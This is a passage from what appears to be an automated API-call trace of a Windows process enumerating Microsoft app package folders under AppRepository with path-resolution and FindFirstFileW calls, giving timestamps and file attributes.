"c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95097c58, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc258bead, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc258bead, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0212.755] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0212.756] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0212.756] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0212.757] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x74 [0212.758] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95097c58, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc258bead, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc258bead, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0212.764] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0212.766] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x70 [0212.766] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0212.767] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x71 [0212.768] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95ddaedf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc3995fb4, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc3995fb4, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0212.771] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0212.771] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x70 [0212.771] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0212.772] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x71 [0212.773] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95ddaedf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc3995fb4, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc3995fb4, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0212.779] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x72 [0212.782] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x72 [0212.782] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x72 [0212.782] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x73 [0212.783] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96bb6961, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc4c731b3, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc4c731b3, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0213.225] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x72 [0213.225] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x72 [0213.225] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x72 [0213.226] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x73 [0213.227] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96bb6961, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc4c731b3, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc4c731b3, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0213.234] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0213.236] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0213.236] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0213.236] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x74 [0213.237] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9796c1ac, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc5ef7148, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc5ef7148, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0213.240] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0213.241] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x73 [0213.241] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0213.242] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x74 [0213.242] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9796c1ac, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc5ef7148, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc5ef7148, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0213.253] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned 0x75 [0213.255] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x75 [0213.255] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned 0x75 [0213.256] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\") returned 0x76 [0213.257] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x986af2f4, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc747ed5d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc747ed5d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a60 [0213.456] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned 0x75 [0213.457] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x75 [0213.457] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned 0x75 [0213.458] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\") returned 0x76 [0213.459] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x986af2f4, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc747ed5d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc747ed5d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0213.466] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0213.468] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7a [0213.468] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0213.469] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0213.470] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992e71ee, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc865cca7, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc865cca7, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a60 [0213.473] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0213.473] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7a [0213.473] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0213.474] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All 